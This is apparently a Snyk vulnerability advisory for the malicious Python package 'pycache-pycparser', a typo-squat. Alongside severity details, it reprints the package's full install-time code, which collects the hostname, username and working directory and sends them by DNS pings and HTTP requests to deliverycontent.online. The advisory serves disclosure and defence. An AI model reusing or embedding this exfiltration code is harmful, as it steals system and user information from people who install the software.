Malicious Package Affecting pycache-pycparser package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Malicious Package vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PYCACHEPYCPARSER-2359292
  • published24 Jan 2022
  • disclosed24 Jan 2022
  • creditSonatype Research Team

Introduced: 24 Jan 2022

Malicious CVE NOT AVAILABLE CWE-502  (opens in a new tab)

How to fix?

Avoid using all malicious instances of the pycache-pycparser package.

Overview

pycache-pycparser is a malicious package. Apparent typo-squatting attempt. Upon installation, the package collects the system’s username, computer’s name, IP address, and attempts to upload this information both via HTTP and DNS to the following domains:

  • For DNS: .sub.deliverycontent[.]online
  • For HTTP: www.deliverycontent[.]online

Malicious Code

import os
import base64
import random

dns_domain = ".sub.deliverycontent.online"
http_domain = "www.deliverycontent.online"

hostname = ""
try:
    hostname = os.uname().nodename
except Exception:
    pass
if hostname == "":
    try:
        hostname = os.environ['COMPUTERNAME']
    except Exception:
        pass

username = ""
try:
    import getpass
    username = getpass.getuser()
except Exception:
    pass

execution_path = ""
try:
    execution_path = os.getcwd()
except Exception:
    pass

data = "%s;%s;%s;%s" % (hostname, username, package, execution_path)
b64data = base64.b64encode(data.encode()).decode()

data_part_length = 29
parts_count = len(b64data) // data_part_length
if len(b64data) % data_part_length > 0:
    parts_count += 1
parts_count = min(parts_count, 255)

random_number = random.randint(0, 254)

encoded_data = ""
for c in b64data[:data_part_length]:
    encoded_data += "%02x" % ord(c)
data_to_send = "f%s%s%s" % ("%02x" % random_number, "%02x" % parts_count, encoded_data)
domain = data_to_send + dns_domain
try:
    os.system("ping %s" % domain)
except Exception:
    pass

for i in range(1, parts_count):
    encoded_data = ""
    for c in b64data[data_part_length*i: data_part_length*(i+1)]:
        encoded_data += "%02x" % ord(c)
    data_to_send = "%s%s%s" % ("%02x" % random_number, "%02x" % i, encoded_data)
    domain = data_to_send + dns_domain
    try:
        os.system("ping %s" % domain)
    except Exception: 
        pass

encoded_data = ""
for c in b64data:
    encoded_data += "%02x" % ord(c)
data_post = "%s%s%s" % ("gjeiiq1", "%02x" % random_number, encoded_data)
data_get = "%s%s" % ("%02x" % random_number, encoded_data)

try:
    import urllib.request
    r = urllib.request.urlopen("http://%s/p" % http_domain, data=data_post.encode(), timeout=10)
except Exception:
    pass

try:
    import urllib.request
    r = urllib.request.urlopen("http://%s/g?d=%s" % (http_domain, data_get), timeout=10)
except Exception:
    pass

try:
    import requests
    r = requests.post("http://%s/p" % http_domain, data=data_post, timeout=10)
except Exception:
    pass

try:
    import requests
    r = requests.get("http://%s/g?d=%s" % (http_domain, data_get), timeout=10)
except Exception:
    pass

try:
    import urllib
    r = urllib.urlopen("http://%s/p" % http_domain, data=data_post)
except Exception:
    pass

try:
    import urllib
    r = urllib.urlopen("http://%s/g?d=%s" % (http_domain, data_get))
except Exception:
    pass

References

CVSS Scores

version 3.1